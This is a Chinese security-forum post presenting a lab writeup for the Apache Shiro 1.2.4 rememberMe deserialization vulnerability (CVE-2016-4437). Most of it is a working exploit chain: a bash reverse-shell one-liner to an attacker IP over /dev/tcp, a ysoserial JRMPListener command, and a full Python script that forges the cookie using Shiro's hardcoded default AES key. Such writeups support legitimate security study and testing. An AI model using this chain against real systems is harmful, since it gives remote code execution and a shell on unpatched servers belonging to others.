安全矩阵

 找回密码
 立即注册
搜索
查看: 2329|回复: 0

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2020-8-11 19:51:55 | 显示全部楼层 |阅读模式
1. 漏洞描述
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

writeup
访问靶机地址

攻击机监听4437端口

访问 http://www.jackson-t.ca/runtime-exec-payloads.html 将准备执行的命令进行加密
反弹shell指令
  1. bash -i >& /dev/tcp/攻击机IP/4437 0>&1
复制代码
运行指令(通过 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令,ysoserial自行寻找下载)
  1. java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 '加密的反弹shell指令'
复制代码
利用POC伪造cookie内容
python shiro.py 攻击者IP:攻击者监听的java端口
POC
  1. import sys
  2. import uuid
  3. import base64
  4. import subprocess
  5. from Crypto.Cipher import AES
  6. def encode_rememberme(command):
  7.     popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
  8.     BS = AES.block_size
  9.     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  10.     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  11.     iv = uuid.uuid4().bytes
  12.     encryptor = AES.new(key, AES.MODE_CBC, iv)
  13.     file_body = pad(popen.stdout.read())
  14.     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  15.     return base64_ciphertext
  16. if __name__ == '__main__':
  17.     payload = encode_rememberme(sys.argv[1])   
  18. print "rememberMe={0}".format(payload.decode())
复制代码
发送伪造的cookie
  1. http 目标登入地址 'Cookie:上一步生产的cookie'
复制代码
反弹shell获取flag

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 10:09 , Processed in 0.013580 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表